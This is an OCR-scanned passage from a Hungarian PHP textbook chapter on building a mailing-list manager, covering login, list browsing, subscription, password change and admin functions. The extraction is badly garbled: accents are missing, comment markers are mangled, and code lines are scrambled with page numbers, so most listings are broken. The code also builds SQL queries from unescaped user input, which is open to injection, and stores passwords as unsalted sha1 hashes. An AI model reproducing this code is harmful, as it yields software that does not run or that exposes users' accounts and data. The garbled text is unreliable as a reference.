30.5 pldakd: A felhasznaloi_hitelesites_fuggvenyek.php knyvtr bejelentkezes ()fggvnye- A fgg

vny a felhasznl bejelentkezsi adatait ellenrzi


function bejelentkezes($email, ll ha rendben van, $jelszo)

ll felhasznli nv s jelsz sszevetse az adatbzissal visszatrsi rtke true ll egybknt kivtelt vlt ki ll kapcsolds az adatbzishoz $kapcsolat = adatbazishoz_kapcsolodas(); if (!$kapcsolat) return 0; $lekerdezes "SELECT admin FROM felhasznalek WHERE email=1".$email."1 AND jelsze = sha1(1".$jelszo."1)"; $eredmeny = $kapcsolat->query($lekerdezes); if

(! $eredmeny) {
return false;

if ($eredmeny->num_rows<l) return false;

$sor = $eredmeny->fetch_array(); if($sor[0) l)

==

492

30. fejezet

return 'admin'; else

return 'normal';

A korbban alkalmazott bejelentkezsi fggvnyek sikeres bejelentkezs esetn true, egybknt false rtkkel trtek vissza. Sikertelen bejelentkezs esetn itt is false rtket kapunk, m sikeres bejelentkezs utn a felhasznl tpust kapjuk vissza, ami

, admin' vagy, normal' lehet. Ezt gy llapguk meg, hogy az adott

e-mail cm s jelsz proshoz visszakeressk rtkkel tr vissza a fggvny. Minden ms

a felhasznalek tbla admin oszlopban rallhat rtket. Ha a lekrdezs nem ad eredmnyt, false rtket adunk visz sza. Adminisztrtori felhasznl esetn az rtk l ( true) lesz, gy ekkor, admin' esetben visszatrsi rtke, normal' lesz. A kd futtatsnak f ghoz visszatrve munkamenet-vltozt regisztrlunk, hogy nyomon tudjuk kvetni, ki a felhasznl. Ha adminisztrtor, akkor admin_felhasznalo lesz, msklnben pedig altalanos_felhasznalo. Akrmelyik vltozr

30

lltjuk be, tartalmazni fogja a felhasznl e-mail cmt. Annak rdekben, hogy egyszerbb tegyk a felhasznl e-mail cmnek ellenrzst, a korbban mr emltett emai 1_1 ekerese( ) fggvnyt fogjuk hasznlni. Ennek kdjt a 30.6 pldakd mutatja. 30.6 pldakd: A felhasznaloi_hitelesites_fuggvenyek .php knyvtr email_lekerese {)fggvnye- Afgg vny a bejelentkezett felhasznl e-mail cmt adja vissza
function email lekerese

{)

if (isset($_SESSION['altalanos felhasznalo'])) return $ SESSION['altalanos felhasznalo'];

if (isset($_SESSION['admin felhasznalo'])) return $ SESSION['admin felhasznalo'];

return false;

Miutn visszatrnk a program f ghoz, tjkoztatjuk a felhasznlt, hogy sikerlt-e belptetni, s ha igen, milyen szinten lpett be. A 30.6 brn egy sikeres bejelentkezsi kisrlet eredmnyt ltjuk. Most, hogy mr bejelentkezett felhasznlval rendelkeznk, a felhasznli funkcikkal folytatjuk munknkat.

30.6 bra: A rendszer kzli afelhasznlval, hogy sikeresen bejelentkezett.

Felhasznli funkcik megvalstsa


A bejelentkezett felhasznlknak az albbi t lehetsget szeretnnk felkinlni: A feliratkozs cljbl elrhet levelezlistk megjelentse Feliratkozs lisrkra s leiratkozs azokrl

Levelezlisra-kezel alkalmazs fejlesztse

493

Felhasznli belltsok mdostsa

Jelszvltoztats Kijelentkezs

A 30.6 brn lthat gombokkal a fenti lehetsgek jelents rsze mr elrhet. Nzzk meg most azt, hogyan valstjuk meg ezeket a funkcikat!

Levelezlistk megtekintse
A projektben tbbflekppen adunk a felhasznlknak lehetsget arra, hogy megtekintsk az elrhet levelezlistfut s azok adatait. A 30.6 brn kt ilyen opcit ltunk: a,.Sajt listk megjelentse" gombra kattintva azokat a listkat ltja a felhasznl, amelyekre mr feliratkozott. Az .. Egyb listk megjelentse" gombbal azokat a levelezlistfut tekintheti meg, amelyekre nem iratkozott fel. Ha visszalapozunk a 30.4 brra, mg egy hasonl lehetsget ltunk: az,.sszes lista megjelentse" gombbal a rendszerben elrhet sszes levelezlistt tekinthetjk meg. Ahhoz, hogy ez a funkci valban hasznos legyen, korltozni kell az egy oldalon megjelentend listk szmt (moncljuk tzre), s meg kell adni a felhasznlnak a lapozs lehetsgt. Az egyszersg kedvrt ettl ebben a projektben eltekintettnk. Ez a hrom menpont az osszes-lista-megjelenitese, az egyeb-listak-megjelenitese s a sajat
listak-megjelenitese mveletet vltja ki. Mint ahogy arra szmthattunk, ezek a mveletek igen hasonlan mkdnek.

30
"

Kcljuk a kvetkez:
case 'osszes-lista-megjelenitese': elemek_megjelenitese('sszes lista', osszes lista_lekerese(), 'archivum-megjelenitese',''); break; case 'egyeb-listak-megjelenitese': elemek_megjelenitese('Nem krt levelezlistk', nem_feliratkozott_listak_lekerese(email_lekerese()), 'informacio', 'archivum-megjelenitese', 'feliratkozas'); break; case '': case 'sajat-listak-megjelenitese': elemek_megjelenitese('Megrendelt levelezlistk', feliratkozott_listak_lekerese(email_lekerese()),'informacio', 'archivum-megjelenitese', 'leiratkozas'); break; 'informacio',

Lthat, hogy mindhrom mvelet a kimeneti_fuggvenyek. php knyvtr elemek_megjelenitese ( ) fggvnyt hvja meg, azonban ms s ms paramterekkel teszi ezt. A korbban mr emltett email_lekerese () fggvnyt szintn meghvjk, hogy lekrjk a felhasznl e-mail cmt. Hogy megrtsk az elemek_megj elenitese () fggvny mkdst, vessnk egy pillantst a 30.7 brra, amely az .Egyb listk megjelentse" oldalt mutatja!

30.7 bra:

Az elemek_megjelenitese () fggvny itt azoknak a levelezlistknak a listjt rja ki, amelyekre afelhasznl nem iratkozott fel.

494

30. fejezet

Vizsgl jukmegmost az elemek_megjelenitese{) fggvny kdj t, amit a

30.7 pldakd

tartalma z!

30.7 pldakd: A kimeneti_fuggvenyek. php knyvtr elemek _megjelenitese{) fggvnye -A fggvny az egyes listkat s az azokhoz kapcsold mveleteket jelenti meg
function elemek_megjelenitese($cim, global $tablazat_szelessege; echo "<table width=\"$tablazat szelessege\" cellspacing=\"0\" cellpadding=\"0\" border=\"0\">"; $lista, $muveletl='', $muvelet2=' ', $muvelet3=' ' ) {

ll mveletek megszmolsa
$muveletek=(($muveletl!='') + ($muvelet2!='') echo "<tr> <th colspan=\"".{1+$muveletek)."\" bgcolor=\"ISB69A6\">" .$cim."</th> </tr>";
+

($muvelet3!=''));

ll elemek megszmolsa
$elemek=sizeof($lista); if($elemek == 0) { echo "<tr> <td colspan=\"". (l+$muveletek)."\" align=\"center\">Nincs megjelenthet elem</td> </tr>"; else

ll sorok kiratsa
for($i=O; $i<$elemek; $i++) if($i%2) {

ll vltakoz httrszinek
$hatterszin="lffffff"; else { $hatterszin="lccccff";

echo "<tr> <td bgcolor=\"".$hatterszin."\" width=\"". ($tablazat_szelessege - ($muveletek echo $lista[$i)[l); if ($lista[$i)[2)) { echo " - ".$lista[$i][2);
*

149)) ."\">";

echo "</td>";

ll gombok ltrehozsa soronknt max. hrom mvelethez


for($j=l; $j<=3; $j++)

$var="muvelet".$j; if($$var) { echo "<td bgcolor=\"".$hatterszin."\" width=\"149\">";

Levelezlista-kezel alkalmazs fejlesztse

495

ll nzet/elnzet gombok specilisak, mert egy fjlra hivatkoznak


if(($$var == 'HTML-elonezete') ($$var == else

l l

($$var == 'HTML-megjelenitese')

l l

'szoveges-elonezete')

l l

($$var ==

'szoveges-megjelenitese')) $$var);

elonezet_gomb_megjelenitese($lista[$i) (3],

$lista[$i] [0), );

{
'&id=' . $lista [$i][0)

gomb_megjelenitese($$var, echo "</td>";

echo "</tr>\n"; echo "</table>";

A fggvny kimenere az elemek tblzata, amelyben mindegyik elemnl legfeljebb hrom kapcsold mvelet (illerve a mveletek gombja) lthat. A fggvny sorrendben az albbi t paramtert vrja: A $eim a tblzat tetejn megjelen cmer tartalmazza. A 30.7 brn lthat esetben cmknt a .. Nem krt levelez listk" kifejezst adtuk t, ahogy ezt az egyeb-listak-megj elen itese mvelethez tartoz kdrszletben mr lthattuk.

A $lista a tblzat soraiban megjelentend elemek tmbje. Jelen esetben azoknak a levelezlistknak a tmbje, amelyekre a felhasznl jelenleg nincsen feliratkozva. A tmbt (ebben az esetben) a rvidesen bemutatand nem_
feliratkozott_ listak_lekerese() fggvnnyel hozzuk ltre. Tbbdimenzis tmbbel llunk szemben, amely

nek minden sorban maximum ngy, az adott sorhoz tartoz adatot tallunk. Ezek sorrendben a kvetkezk: A $lista[n) [O J az elem azonostjt tartalmazza; ez jellemzen a sor szma. Ez adja meg a mveletgom boknak azt az azonostt, amelybl tudjk, hogy melyik sorral kell dolgozniuk. Ebben az esetben az adatbzis bl vesszk az azonostkat; errl a ksbbiekben mg bvebben sz esik majd.

A $lista[n) [l) az elem nevt tartalmazza. Ez az adott elemhez megjelen szveg. A 30.7 brn lthat esetben a tblzat els sorban ez az elemnv a MySQL teleptse. A $lista[n) [2) s a $lista [n) [3) opcionlis. Tovbbi informcik megjelentsre hasznljuk ket. A.Tovbbi informci' szvegnek , illerve a Tovbbi informci" azonostnak felelnek meg.A kt paramter " hasznlatra akkor nznk majd pldt, arnikor az Adminisztratvfunkcik megvalstsa cm rszben a.Hrle vl megtekintse" mvelethez rnk.

A fggvny opcionlis harmadik, negyedik s tdik paramtervel az egyes sorokban megjelen gombok ltal vgrehaj tott mveleteket adjuk t.A 30.7 brn lthat hrom gomb sorrendben az.Informci; az ..Archvum megjelentsi' s a ..Feliratkozs':

Az ..sszes lista megjelentse" oldalon gy jutunk ehhez a hrom gombhoz, hogy ezeknek a mveleteknek a nevt adjuk t

paramterknt: 'informacio', 'archivum-megjelen i tese' s 'feliratkozas '.A gomb_megjelenitese() fggvny hasznlatval ezeknek a mveleteknek a nevt tartalmaz s a hozzjuk rendelt mveletet kivlt gombokat kapunk. A megjelents mveletek mindegyike az elemek_megjelenitese() fggvnyt hvja meg, azonban klnbz mdon teszik ezt, amit jl lthatunk, ha visszalapozunk ezekhez a mveletekhez. Nem csak ms cmekkel s mveletgombokkal dol goznak, hanem ms-ms fggvnnyel lltjk el a megjelentend elemek tmbjt.Az ..sszes lista megjelentse" az osszes_
lista_lekerese(), az.Egyb listk megjelentsi' a nem_feliratkozott_listak_le kerese(), a .. Sajt listk meg

jelentse" pedig a feliratkozott_listak_lekerese () fggvnyt hasznlja. Mind a hrom fggvny hasonlkppen mkdik, s mind az mlm_fuggvenyek. php fggvnyknyvtrban tallhat meg. Nzzk meg a nem_feliratkozott_listak _lekerese () fggvny kdjt, mivel ezt a pldt kvettk idig! A kdot a 30.8 pldakdban talljuk.
30.8 pldakd: Az mlm_fuggvenyek.phpknyvtr nem_feliratkozott_listak_lekerese ()fggvnye- Afgg vny azon levelezlistk tmbjt hozza ltre, amelyekre afelhasznl nem iratkozottfel
function nem_feliratkozott_listak_lekerese($email) $lista = array();

496

30. fejezet

$lekerdezes

"SELECT listak.listaiD,

listanev,

email FROM listak

LEFT JOIN al listak on listak.listaiD = al listak.listaiD AND email='".$email."' WHERE email IS NULL ORDER BY listanev";

lf($kapcsolat=adatbazishoz kapcsolodas()) $eredmeny


=

$kapcsolat->query($lekerdezes); (

if (! $eredmeny)

echo '<p>Nem sikerlt lekrni az adatbzisbl a listt.</p>'; return false;

$num

$eredmeny->num_rows; $i<$num; $i++)

30

for($i = 0;

{
$sor[l]));

$sor = $eredmeny->fetch_array(); array_push($lista, array($sor[O],

return $lista;

A fenti kdbl is lthat, hogy a fggvny e-mail cmet vr paramterknt. Ez annak a felhasznlnak az e-mail cme kell, hogy legyen, akivel ppen dolgozunk. A feliratkozott_listak_le kerese () fggvnynek is e-mail cmet kell param terknt tadni, viszont az osszes_lista_lekerese() fggvny- rthet mdon- ezt nem ignyli. A felhasznl e-mail cmnek birtokban kapcsoldunk az adatbzishoz, s vesszk az sszes olyan levelezlistt, amelyre a felhasznl nincsen feliratkozva. LEFT JOIN, vagyis bal sszekapcsols alkalmazsval keressk meg az adon felttelnek meg nem felel tteleket, majd ciklussal vgiglpkednk az eredmnyen, s az array_push () beptert fggvnnyel soron knt ltrehozzuk a tmbt. Most, hogy megrudtuk, hogyan lehet ltrehozni ezt a listt, nzzk meg az ezekhez a kpernykhz tartoz gombokat!

Listainformcik megjelentse
A 30.7 brn lthat "Informci" gomb az, informacie' mveletet vltja ki, mgpedig a kvetkezkppen:
case 'informacio': informacio_megjelenitese($_GET['id']); break;

Az informaeia _megjelenitese() fggvny meghvsnak eredmnyt a 30.8 brn lthaguk. A fggvny ltalnos informcit kzl az adon levelezlistrl, majd kirja a feliratkozott felhasznlk szmt, illetve a lis tra kikldn s az archvumban elrhet hrlevelek szmt (errl rvidesen majd bvebben is olvashatunk). A fggvny kdjt a 30.9 pldakdban lthag uk. 30.9 pldakd: A kimeneti_fuggvenyek.php knyvtr informacie_megjel eni tes() fggvnye- A fggvny a lis tkhoz kapcsold informcikat jelenti meg
function informacio_megjelenitese($listaiD) if (! $listaiD)

return false;

$info=lista info_betoltese($listaiD);

if($info) echo

<h2>".formazas($info[listanev]) ."</h2> "

Levelezlista-kezel alkalmazs fejles:ztse

497

<p>".formazas($info[leiras]) ." </p><p>Feliratkozottak szma:".Sinfo[felhasznalok] ." </p><p>Hrlevelek szma az archvumban:" .Sinfo[archivum] ."</p>";

30
30.8 bra: Az informacie _megj elenitese() rvid lerst kzl az adott levelezlistrl.

Az informacie _megj elenitese () fggvny kt msik fggvny segtsgvel ltja el feladatt. E:z a kt fgg vny a lista_info_betoltese() s a formazas ().Az elbbi visszakeresi az adatbzisbl a megfelel adatokat.
A formazas() fggvny egyszeren formzza az adatbzisbl szrmaz adatokat: eltvoleja a perjeleket, HTML sortrsek

k alaktja

az

jsorokat stb.
az

Nzzk meg rviden

mlm_fuggvenyek.php fggvnyknyvtrban tallhat lista_info_betoltese () fgg

vnyt, amelynek kdjt a 30.10 pldakdban lthatjuk!


30.10 pldakd: Az mlm_fuggvenyek. php knyvtr lista_info_ betoltese O fggvnye- A fggvny a levelezlistrl

meglv informcik tmbjt hozza ltre


ll tltsk be az adatbzisbl a listrl trolt adatokat
function lista_info_betoltese($listaiD) if (! SlistaiD) (

return false;

if(! ($kapcsolat=adatbazishoz_kapcsolodas())) return false;

Slekerdezes = "SELECT listanev, Seredmeny


=

leiras FROM listak WHERE listaiD='".SlistaiD."'";

$kapcsolat->query($lekerdezes);

if(! $eredmeny) return false;

echo "<p>Nem sikerlt visszakeresni a levelez6listt.</p>";

$info = $eredmeny->fetch_assoc();

$lekerdezes = "SELECT COUNT(*) FROM al listak WHERE listaiD='".$listaiD."'"; Seredmeny = $kapcsolat->query($lekerdezes);

498

30. fejezet

if($eredmeny)

$sor = $eredmeny->fetch_array(); $info['felhasznalok') = $sor[O];

$lekerdezes

"SELECT COUNT(*) FROM hirlevel WHERE listaiD="'.$listaiD."' AND allapot='ELKULDOTT'";

$eredmeny = $kapcsolat->query($lekerdezes); if($eredmeny) { $sor = $eredmeny->fetch_array(); $info['archivum') = $sor[O];

return $info;

A fggvny hrom adatbzis-lekrdezst futtatva gyjti be a listak tblbl a levelezlistk nevt s lerst, az al_
listak tblbl a feliratkozott felhasznJk szmt, valamint a hirlevel tblbl a kikldtt hrlevelek szmt.

Levelezlistk archvumnak megtekintse


A felhasznJk nem csak az egyes listk lerst, hanem- az.Archvum megjelents' gombra kattintva- az adott levelez listra elkldtt hrleveket is megtekinehetik. A gomb albbi kdot futtatja:
case 'archivum-megjelenitese': elemek_megjelenitese(listanev_lekerese($_GET['id')) .'archvuma ', archivum_lekerese($_GET['id')), 'szoveges-megjelenit ese', break; ''); 'HTML-megjelenitese',
az

'archivum-megjelenit ese' mveletet vltja ki, amely pedig az

Ez a fggvny is az elemek_megjelenit ese() meghvsval lisrzza ki az adott levelezlistra kldtt hrleveleket, arni ket pedig az mlm_fuggvenyek.php knyvtr archvum_lekerese() fggvnyvel keresnk vissza. Ez utbbi fggvny kdjt a 30.11 pldakdban olvashatjuk.
30.11 pldakd: Az mlm_fuggvenyek.php knyvtr archivum_lekerese ()fggvnye- Afggvny az adott levelezlista

archv hrleveleinek tmbjt hozza ltre


function archivum_lekerese($listaiD) ll a levelezlista archivlt hrleveleinek tmbjt adja vissza ll a tmbnek ilyen sorai vannak (hirleveliD, $lista = array(); Slistanev = listanev lekerese($listaiD); $lekerdezes "SELECT hirleveliD, ORDER kuldve"; targy, listaiD FROM hirlevel targy)

WHERE listaiD = '".$listaiD."' AND allapot = 'ELKULDOTT'


BY

if($kapcsolat=adatbazishoz kapcsolodas()) $eredmeny = $kapcsolat->query($lekerdezes); if (! $eredmeny) return false;

echo "<p>Nem sikerlt lekrni az adatbzisbl a listt.< lp>";

Levelezlista-kezel alkalmazs fejlesztse

499

$num = $eredmeny->num_rows; for($i = 0;

$i<$num;

$i++)

$sor = $eredmeny->fetch_array(); $tomb_sor = array($sor[O], $listanev, array_push($lista, $sor[l), $listaiD);

$tomb_sor);

return $lista;

Megint csak az trtnik, hogy a fggvny begyjti az adatbzisbl a szksges informcit- jelen esetben az elkldtt hrle velek adatait-,majd ltrehozza az elemek_megjelenitese() fggvnynek paramterknt tadhat tmbt.

30

Fel- s leiratkozs
A levelezlistk 30.7 brn lthat listjn mindegyik levelezlisthoz tartozik egy olyan gomb,amire kattintva a felhasznl feliratkozhat az adott listra. Hasonlkppen, ha a felhasznl a,,S;yt listk megjelentse" gombra kattintva megtekinti azok nak a levelezlistknak a listjt, amelyekre mr feliratkozott, minden levelezlista mellett egy .,Leiratkozs" gombot lthat. Ezek a gombok a feliratkozas s a leiratkozas mveletet vltjk ki,amelyek az albbi kdrszleteket hvjk meg:
case 'feliratkozas': feliratkozas(email_lekerese(), $_GET['id'));

elemek_megjelenitese('Megrendelt levelezlistk', feliratkozott_listak_lekerese(email_lekerese()), 'informacio', break; 'archivum-megjelenitese', 'leiratkozas');

case

'leiratkozas': $_GET['id']);

leiratkozas(email lekerese(),

elemek_megjelenitese('Megrendelt levelezlistk', feliratkozott_listak_lekerese(email_lekerese()), 'informacio', break; 'archivum-megjelenit ese', 'leiratkozas');

Mindkt esetben egy fggvnyt hvunk meg ( feliratkozas () vagy leiratkozas ()),majd az elemek_
megjelenitese() fggvny ismtelt meghvsval jra megjelentjk azoknak a levelezlistknak a listjt,amelyekre a fel

hasznl feliratkozott. A feliratkozas() s a leiratkozas() fggvny kdjt a 30.12 pldakdban talljuk 30.12 pldakd: Az mlm_fuggvenyek. php

knyvtr feliratkozas () s leiratkozas ()fggvnye- Ezek afggv nyek adjk hozz afelhasznlt az adott levelezlisthoz, illetve tvolitjk el arrl
ll e-mail cm hozzadsa a listhoz
function feliratkozas($email, if((!$email) $listaiD)

l l

(!$listaiD)

l l

(!letezo_lista($listaiD))

l l

(!letezo_felhasznalo($email) ))

return false;

ll ha mr feliratkozott,
if(feliratkozott($email, return false;

akkor kilps $listaiD))

500

30. fejezet

if(! ($kapcsolat=adatbazishoz_kapcsolodas())) return false;

$lekerdezes = "INSERT INTO al listak VALDES ('".$email."',

$lista!D)";

$eredmeny = $kapcsolat->query($lekerdezes); return $eredmeny;

ll

e-mail cm eltvoltsa a levelezlistrl $listaiD)

function leiratkozas($email,

30

if (

( 1 $email) l l

(! $lista!D))

return false;

if

(! ($kapcsolat=adatbazishoz_kapcsolodas()))

return false;

$lekerdezes

"DELETE

FROM al listak WHERE

email='".$email."'

AND listaiD='".$listaiD."'";

$eredmeny = $kapcsolat->query($lekerdezes); return $eredmeny;

A feliratkozas( ) fuggvny a feliratkozsnak megfelel adatokat tartalmaz sort ad az al_listak tblhoz, a leiratkozas () fuggvny viszont trli ezt a sort.

A felhasznli fik belltsainak megvltoztatsa


Amikor a.,Fikbelltsok" gombra kattintunk, a 'fiok-bealli tasok' mveletet hvjuk meg. Ennek k<lja a kvetkez:
case 'fiok-beallitasok': fiok_urlap_megjelenitese(email_lekerese(), valodi nev_lekerese(email lekerese()), break; mime tipus lekerese(email lekerese()));

Lthatjuk, hogy jbl a-korbban mr a felhasznli fik ltrehozshoz hasznlt- fiok_urlap_megj elen i tese( ) fuggvnyt hvjuk meg. Jelen esetben azonban a felhasznl meglv adatait adjuk neki t, amelyek a knny szerkeszthetsg rdekben megjelennek az rlapban. Amikor a felhasznl az rlapkldsi gombra kattint, a korbban mr bemutatott
tarolasa'
'

fiok

mveletet hajtja vgre.

Jelszavak megvltoztatsa
A Jelszvltoztats" gombra kattintssal a felhasznl a 'j elszo-valtoztatas' mveletet hvja meg, amivel az albbi
..

kdot vltja ki:


case 'jelszo-valtoztatas': jelszo_urlap_megjelenitese(); break;

A kimeneti_fuggvenyek. php knyvtr jelszo _urlap_megjelenitese() fuggvnye pusztn egy rlapot jelent meg, amit a felhasznl jelszava megvltoztatsra hasznlhat. Az rlapot a 30.9 brn ltjuk.

Levelezlista-kezel alkalmazs fejlesztse

501

30.9 bra: A jelszo_urlap_megjelenitese( ) fggvny lehetsget ad afelhasznlknak jelszavuk megvltoztatsra. Amikor a felhasznl az rlap aljn lv.,Jelszvltoztats" gombra kattint, a 'jelszo-megvaltoztatasa-tarolasa' mveletet vltja ki, a melynek a kvetkez a kdja:
case 'jelszo-megvaltoztatasa-tarolasa': if(jelszo_valtoztatas(email_lekerese(), $_POST['uj_jelszo'], else echo "<p style=\"padding-bottom: SOpx\">Sajnljuk, jelszavt $_POST['elozo jelszo'],

30

$_POST['uj_jelszo2'])) SOpx\">OK:

{
jelszavt megvltoztattuk.</p>";

echo "<p style=\"padding-bottom:

nem sikerlt megvltoztatni.<lp>"; jelszo_urlap_megjelenitese();

break;

A fenti sorokbl kiderl, hogy a kd a j elszo _valtoztatas () fggvnnyel prblja meg megvltoztatni a jelszt, aminek eredmnyrl tjkoztatja a felhasznlt. A 30.13 pldakdban lthat jelszo_valtoztatas () fggvny
a

felhasznaloi_hi telesites fuggvenyek. php fggvnyknyvtrban tallhat.

30.13 pldakd: A felhasznaloi_hi telesi tes_fuggvenyek. php knyvtr jelszo_valtoztatas ()fggvnye Afggvny ellenrzi s mdostja afelhasznl jelszavt
function jelszo_valtoztatas($email, $elozo_jelszo, $uj_jelszo,

$uj_jelszo_megerositese)

ll az e-mail cmhez tartoz jelsz megvltoztatsa jra ll visszatrsi rtke true vagy false

ll ha az elz jelsz megfelel, ll akkor uj_Jelszo-ra vltoztatja az elz jelszt, ll egybknt false rtkkel tr vissza if (bejelentkezes($email, $elozo_jelszo)) s true,

if($uj_jelszo==$uj_jelszo_megerositese) if (!($kapcsolat = adatbazishoz_kapcsolodas())) return false;

$lekerdezes

"UPDATE felhasznalek SET jelsze = shal('".$uj_jelszo."') WHERE email = '".$email."'";

$eredmeny = $kapcsolat->query($lekerdezes); return $eredmeny;

502

30. fejezet

else echo "<p>A jelszavak nem egyeznek meg.</p>";

else echo "<p>A rgi jelszava nem megfelel6.</p>";

return false;

// a rgi jelsz nem volt megfelel6

Ez a fggvny igen hasonl a korbban mr ltott jelszvltoztat fggvnyekhez. Ellenrzskppen sszehasonltja a felhasz nl ltal megadott kt j jelszt, majd egyezsgk esetn megprblja mdostani az adatbzisban a felhasznl jelszavt.

30

Kijelentkezs
index. ph p fjlban lv kd annak elfeldolgozsi rszben tallhat, s a kvetkezkppen nz ki: if{$muvelet
==

A Kijelentkezs" gombra kattint felhasznl a 'kijelentkezes' "


'kijelentkezes')

mveletet vltja ki. A mvelet ltal vgrehajtott, az

unset{$muvelet); S_SESSION=array{); session_destroy{);

Ez a kdrszlet trli a munkamenet-vltozkat, s megsznteri a munkamenetet. Figyeljk meg, hogy egyttal a muvelet vltozt is felszabadtja! Ez azt jelenti, hogy mvelet nlkl lpnk be a f case utastsba, az albbi kdot kivltva ezzel:
default: if{ 1 bejelentkezes ellenorzese{) )

bejelentkezesi_urlap_megjelenitese{$muvelet);

break;

A fenti kd futtatsnak eredmnyeknt brki ms bejelentkezhet, illetve az imnt kilpett felhasznl bejelentkezhet ms nven.

Adminisztrtori funkcik megvalstsa


A levelezlista-alkalmazs kezeljeknt belp felhasznlk tovbbi menlehetsgekhez frnek hozz; a 30.10 brn ezeket ltjuk.
Az adminisztrtori funkcik a Lista ltrehozsa" (j levelezlista ltrehozsa), a.Hrlevl ltrehozs' (j hrlevl ltreho " zsa) s a.Hrlevl megtekintse" (a mg el nem kldtt hrlevelek megtekintse s kldse) gombbal rhetk el. Nzzk meg

most ezeket egyenknt!

30.10 bra: Az adminisztrtori menvel levelezlistkat hozhatunk ltre, illetve kezelhetjk a meglvket.

Levelezlista-kezel alkalmazs fejlesztse

503

j levelezlista ltrehozsa
letrehozasa

Ha az adminisztrtor gy dnt, hogy a Lista ltrehozsa" gombra katrinrva j levelezlistt llt be, a " mveletet hajga vgre, ami az albbi kdot hvja meg:
o

levelezolista

case 0levelezolista-letrehozasa0: lista_urlap_megjelenitese(email_lekerese()); break;

A kimeneti_fuggvenyek. php knyvtrban tallhat lista_urlap_megj elenitese() fggvny egy rlapot je lent meg az adminisztrtor szmra, aki annak meziben megadhaga az j levelezlista adatait. A fggvny pusztn HTML kimenetet ad, gy rszletesebben most nem foglalkozunk vele. Meghvsnak eredmnyt a 30.11 brn lthatjuk. Amikor az adminisztrror a"Lista mentse" gombra kattint, a
index. php fjl albbi kdrszlett hvja meg: case 0lista-tarolasa0: if(lista_tarolasa($_SESSION[0admin_felhasznalo0], echo "<p style=\"padding-bottom:
o o

lista-tarolasa

mveletet vlga ki, ami viszont az

$_POST))

{
, o

SOpx\">Az j lista hozz lett adva.<lp>";


o,

elemek_megj elenit ese ( sszes lista else echo "<p style=\"padding-bottom:

osszes_lista _lekerese()

informacie

o,

0archivum-megjelenitese0, 00); SOpx\">A listt nem lehetett eltrolni. Krjk, break; prblja meg jra!<lp>";

30

30.11 bra: A "Lista ltrehozsa" rlapon az adminisztrtornak az j levelezlista nevt s lerst kell megadnia. Lthat, hogy a kd megksrli eitroini az j levelezlista adatait, majd megjelenti a levelezlistknak az j elemmel bv tett listjt. A lista adatait a 30.14 pldakdban lthat lista_tarolasa () fggvnnyel mentjk el. 30.14 pldakd: Az mlm_fuggvenyek. php knyvtr lista_tarolasa ()fggvnye- Ez afggvny szrja be az adatb zisba az j levelezlistkat
function lista_tarolasa($admin_felhasznalo, if (!kitoltott($adatok)) return false; else $adatok) Krjk,

{
prblja meg jra!<lp>";

echo "<p>Minden mezt ki kell tlteni.

{ {

if(!admin_felhasznalo_ellenorzese($admin_felhasznalo)) return false; ll hogy hvta meg ezt a fggvnyt olyan valaki,

aki nem adminknt jelentkezett be?

if(! ($kapcsolat=adatbazishoz_kapcsolodas())) return false;

504

30. fejezet

$lekerdezes = "SELECT count(*) FROM listak WHERE listanev $eredmeny


=

'".$adatok['nev'l."'";

$kapcsolat->query($lekerdezes);

$sor = $eredmeny->fetch_array(); if($sor[Ol > 0) { ilyen nvvel mr ltezik levelez6lista.</p>";

echo "<p>Sajnljuk, return false;

$lekerdezes

"INSERT INTO listak VALUES (NULL, '".$adatok ['nev' l


.

"',
.

'".$adatok['leiras' l "'l";

30

$eredmeny = $kapcsolat->query($lekerdezes); return $eredmeny;

A fuggvny csak nmi ellenrzst kveten rja az adatokat az adatbzisba. Elszr is megnzi, hogy minden adatmez ki lett-e tltve, az aktulis felhasznl valban adminisztrtor-e, illetve egyedi-e a levelezlista neve. Ha minden rendben van, az j levelezlistt hozzadja az adatbzis listak tbljhoz.

j hrlevl feltltse
Vgre elrkeztnk az alkalmazs velejhez, ami nem ms, mint a hrlevelek feltltse s kikldse a levelezlistkra. Amikor az adminisztrtor a.,Hrlevl ltrehozsa" gombra kattint, a 'hirlevel-letrehozasa' mveletet vltja ki, amelyhez az albbi kd tartozik:
case 'hirlevel-letrehozasa': hirlevel_urlap_megjelenitese(email lekerese()); break;

Az alkalmazs ekkor a 30.12 brn lthat rlapot jelenti meg az adminisztrtornak.

30.12 bra: Az adminisztrtor a .Hrlevl ltrehozsa" oldalon a hrlevlhez szksgesfjlokjeltltsre alkalmas rlapot tall.

Emlkezhetnk r, hogy alkalmazsunk azzal a felttelezssel l, hogy az adminisztrtor korbban mr offline ltrehozta a hrlevl HTML s szveges verzijt, s klds eltt mindkettt fel fogja tlteni. Ez azzal az elnnyel jr az adminisztrtorok szmra, hogy az ltaluk kedvelt szoftverben alkothatjk meg hrleveleiket. Levelezlista-kezel alkalmazsunk ennek kszn heten szlesebb krben lesz hasznlhat. Az adminisztrtornak srnos mezt ki kell tltenie ezen az rlapon. Elszr a levelezlistt kell kivlasztania az rlap tetejn tallhat, legrdl menbl. Eze kveten meg kell adni a hrlevl trgyt; ez kerl majd a kikldend e-mail,.Trgy" sorba.

Levelezlista-kezel alkalmazs fejlesztse

505

Az sszes tbbi rlapmez fjlfeltltsre szolgl, amit a mellette lv .Tallzs" gomb is jelez. Hrlevl kldshez az admi nisztrtornak a szveges s a HTML verzit is fel kell tltenie (ez termszetesen tetszs szerint mdosthat). Az rlapon j nhny tovbbi kpmez is lthat, amelyekkel az adminisztrtor a HTML verziba begyazott kpeket tltheti fel - ha van nak ilyenek. Minden egyes llomnyt egyenknt kell kivlasztani s feltlteni. Ez az rlap nagyon hasonl a szoksos fjlfeltltsekhez hasznltakhoz, a klnbsg annyi, hogy jelen esetben tbb fjl fel tltsre alkalmas. Ez aprbb mdostsokat ignyel az rlap szintaktikjban, illerve az rlap elkldse utn kicsit mskppen kell kezelnnk a feltlttt fjlokat. A hirlevel_urlap_megj elenitese () fggvny kdjt a 30.15 pldakd mutatja. 30.15 pldakd; A kimeneti_fuggvenyek.php

knyvtr hirlevel_urlap_megjelenitese ()fggvnye- Ez

afggvny jelenti meg afjlfeltltsi rlapot


function hirlevel_urlap_megjelenitese($email, global $tablazat_szelessege; $lista=osszes_lista_lekerese(); $listak=sizeof($lista); ?> <table cellpadding="4" cellspacing="O" border="O" width="<?php echo $tablazat_szelessege; <tr> <td bgcolor="lcccccc">Levelez6lista:</td> <td bgcolor="lcccccc"> <select name="lista"> <?php for($i=O; $i<$listak; $i++) ?>"> <form enctype="multipart/form-data" action="feltoltes.php" method="post"> $listaiD=O)

ll htmlrlap megjelenitse az j hrlevl feltltshez

30
